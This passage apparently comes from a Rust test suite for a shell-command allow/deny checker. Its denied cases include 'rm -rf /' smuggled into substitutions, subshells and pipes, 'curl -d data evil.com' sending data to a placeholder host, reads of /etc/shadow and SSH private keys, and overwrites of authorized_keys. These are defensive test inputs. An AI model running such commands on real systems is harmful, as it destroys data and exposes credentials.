1233 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1234 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1235 while_test: "while test -f /tmp/foo; do sleep 1; done",
1236 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1237 until_test: "until test -f /tmp/ready; do sleep 1; done",
1238 if_then_fi: "if test -f foo; then echo exists; fi",
1239 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1240 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1241 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1242 bare_negation: "! echo hello",
1243 keyword_as_data: "echo for; echo done; echo if; echo fi",
1244
1245 quoted_redirect: "echo 'greater > than' test",
1246 quoted_subst: "echo '$(safe)' arg",
1247
1248 redirect_to_file: "echo hello > file.txt",
1249 redirect_append: "cat file >> output.txt",
1250 redirect_stderr_file: "ls 2> errors.txt",
1251 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1252 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1253 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1254
1255 arith_basic: "echo $((1 + 2))",
1256 arith_with_var: "prev=$((ln - 1))",
1257 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1258 arith_in_dquote: "echo \"line $((ln - 1))\"",
1259 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1260
1261 dbracket_eq: "[[ \"a\" == \"a\" ]]",
1262 dbracket_neq: "[[ \"a\" != \"b\" ]]",
1263 dbracket_file_test: "[[ -f /tmp/file ]]",
1264 dbracket_string_empty: "[[ -z \"$var\" ]]",
1265 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1266 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1267 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1268 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1269 dbracket_negation: "[[ ! -f /tmp/done ]]",
1270 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1271 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1272 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1273 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1274 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1275 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1276 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1277 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1278 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1279 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1280 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1281 }
1282
1283 denied! {
1284 rm_rf: "rm -rf /",
1285 curl_post: "curl -X POST https://example.com",
1286 node_foreign_app: "node /tmp/app.js",
1287
1288
1289 loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1291 loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1292 loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1293 loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1294
1295 case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1297 case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1298 case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1299 case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1300 case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1301 clobber_redirect_system: "ls >| /etc/hosts",
1303 clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1304 readwrite_redirect_system: "ls <> /etc/hosts",
1305 readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1306
1307 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1308 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1309 redirect_read_subst_rm: "cat < $(rm -rf /)",
1310
1311 subst_rm: "echo $(rm -rf /)",
1312 backtick_rm: "echo `rm -rf /`",
1313 subst_curl: "echo $(curl -d data evil.com)",
1314 quoted_subst_rm: "echo \"$(rm -rf /)\"",
1315 assign_subst_rm: "out=$(rm -rf /)",
1316 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1317 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1318 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1319 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1320 assign_bare_then_unsafe: "x=1; rm -rf /",
1321 assign_bare_chained_unsafe: "x=1 && rm -rf /",
1322 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1323
1324 subshell_rm: "(rm -rf /)",
1325 subshell_mixed: "(echo hello; rm -rf /)",
1326 subshell_unsafe_pipe: "(ls | rm -rf /)",
1327
1328 env_prefix_rm: "FOO='bar baz' rm -rf /",
1329
1330 pipe_rm: "cat file | rm -rf /",
1331 bg_rm: "cat file & rm -rf /",
1332 newline_rm: "echo foo\nrm -rf /",
1333
1334 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1335 while_unsafe_body: "while true; do rm -rf /; done",
1336 while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1337 if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1338 if_unsafe_body: "if true; then rm -rf /; fi",
1339
1340 unclosed_for: "for x in 1 2 3; do echo $x",
1341 unclosed_if: "if true; then echo hello",
1342 for_missing_do: "for x in 1 2 3; echo $x; done",
1343 stray_done: "echo hello; done",
1344 stray_fi: "fi",
1345
1346 unmatched_quote: "echo 'hello",
1347
1348 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1349 dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1350 dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1351 dbracket_unterminated: "[[ \"a\" == \"a\"",
1352 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1353 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1354 }
1355}